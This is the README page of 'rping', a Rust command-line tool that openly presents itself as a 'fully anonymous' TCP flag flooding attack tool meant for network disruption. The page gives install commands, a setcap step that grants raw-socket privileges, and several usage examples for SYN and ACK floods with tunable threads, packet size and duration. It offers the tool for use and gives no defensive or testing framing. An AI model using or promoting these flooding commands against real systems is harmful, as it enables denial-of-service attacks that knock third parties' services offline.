rping 0.1.5

🌊 A Fully Anonymous Any TCP Flag Flooding Attack CLI.
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131

# 🌊 RPING

[![Crates.io](https://img.shields.io/crates/v/rping.svg)](https://crates.io/crates/rping)
[![docs](https://docs.rs/rping/badge.svg)](https://docs.rs/rping/)
[![License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)

```sh
rping 0.1.5
 ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄        ▄  ▄▄▄▄▄▄▄▄▄▄▄ 
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌      ▐░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀█░█▀▀▀▀ ▐░▌░▌     ▐░▌▐░█▀▀▀▀▀▀▀▀▀ 
▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     ▐░▌▐░▌    ▐░▌▐░▌          
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌     ▐░▌     ▐░▌ ▐░▌   ▐░▌▐░▌ ▄▄▄▄▄▄▄▄ 
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌     ▐░▌     ▐░▌  ▐░▌  ▐░▌▐░▌▐░░░░░░░░▌
▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀      ▐░▌     ▐░▌   ▐░▌ ▐░▌▐░▌ ▀▀▀▀▀▀█░▌
▐░▌     ▐░▌  ▐░▌               ▐░▌     ▐░▌    ▐░▌▐░▌▐░▌       ▐░▌
▐░▌      ▐░▌ ▐░▌           ▄▄▄▄█░█▄▄▄▄ ▐░▌     ▐░▐░▌▐░█▄▄▄▄▄▄▄█░▌
▐░▌       ▐░▌▐░▌          ▐░░░░░░░░░░░▌▐░▌      ▐░░▌▐░░░░░░░░░░░▌
 ▀         ▀  ▀            ▀▀▀▀▀▀▀▀▀▀▀  ▀        ▀▀  ▀▀▀▀▀▀▀▀▀▀▀ 

🌊 RPING CLI
============

A powerful command-line tool for executing TCP flags flooding attacks.
Customize attacks with options like packet length, number of threads,
and TCP flags for efficient network disruption.
```

> 🚀 **rping**: A robust, fully anonymous, Rust-based CLI for any TCP flag flooding attacks.

## 📖 Table of Contents

- [Installation](#-installation)
- [Features](#-features)
- [Usage](#-usage)
- [Options](#-options)
- [Contributing](#-contributing)
- [License](#-license)

## 🚀 Installation

To install `rping`, use the following Cargo command:

```bash
cargo install --locked --all-features rping
```

Once installed, run the following command:

```bash
sudo setcap cap_net_raw+ep ~/.cargo/bin/rping
```

This will set the [`CAP_NET_RAW` capability](https://man7.org/linux/man-pages/man7/capabilities.7.html) and make `rping` run with elevated privileges.

## ✨ Features

- Perform any TCP flag, e.g. syn, flooding attacks with customizable parameters.
- Specify the length of tcp packets, target IP, target port, number of packets and the attack duration.
- Multi-threaded execution for increased efficiency.

## 🚗 Usage

Learn how to use `rping` and explore its features with the following examples:

### Perform a SYN flooding attack:

```bash
rping -t 127.0.0.1 -p 80
```

### Specify the packet length:

```bash
rping -s 150 -t 127.0.0.1 -p 443
```

### Use multiple threads:

```bash
rping -s 1500 -t 127.0.0.1 -p 8080 -h 16
```

### Specify the TCP flag (e.g., ack, urg):

```bash
rping -f ack -t 127.0.0.1 -p 8080
```

### Set the attack duration in minutes:

```bash
rping -d 5 -t 127.0.0.1 -p 80
```

### Set the number of packets per thread:

```bash
rping -n 10000 -t 127.0.0.1 -p 8080
```

### Set the network interface:

```bash
rping -n 10000 -t 127.0.0.1 -p 8080 -i eth0
```

## 🎨 Options

| Option                   | Default Value | Description                                              |
|--------------------------|---------------|----------------------------------------------------------|
| `-s, --size`             | `1500`        | Set the length of SYN packets.                            |
| `-t, --target`           |               | Specify the target IP address to flood.                  |
| `-p, --port`             | `80`          | Set the target port number for the attack.               |
| `-h, --threads`          | `8`           | Set the number of threads for the attack.                |
| `-f, --flag`             | `syn`         | Specify the TCP flag (e.g., syn, ack, urg...).            |
| `-d, --duration`         | `1`           | Set the attack duration in minutes.                      |
| `-n, --number`           | `2^63` | Set the number of packets per thread.            |
| `-i, --iface`           | `eth0` | Set the network interface to bind the socket to.        |

> [!NOTE]
Configuring the network interface is restricted to iOS, macOS, tvOS, or watchOS due to limitations in `socket2`.

## 🤝 Contributing

Contributions and feedback are welcome! If you'd like to contribute, report an issue, or suggest an enhancement, please engage with the project on [GitHub](https://github.com/wiseaidev/rping).
Your contributions help improve this CLI tool for the community.

## 📄 License

This project is licensed under the [MIT License](LICENSE).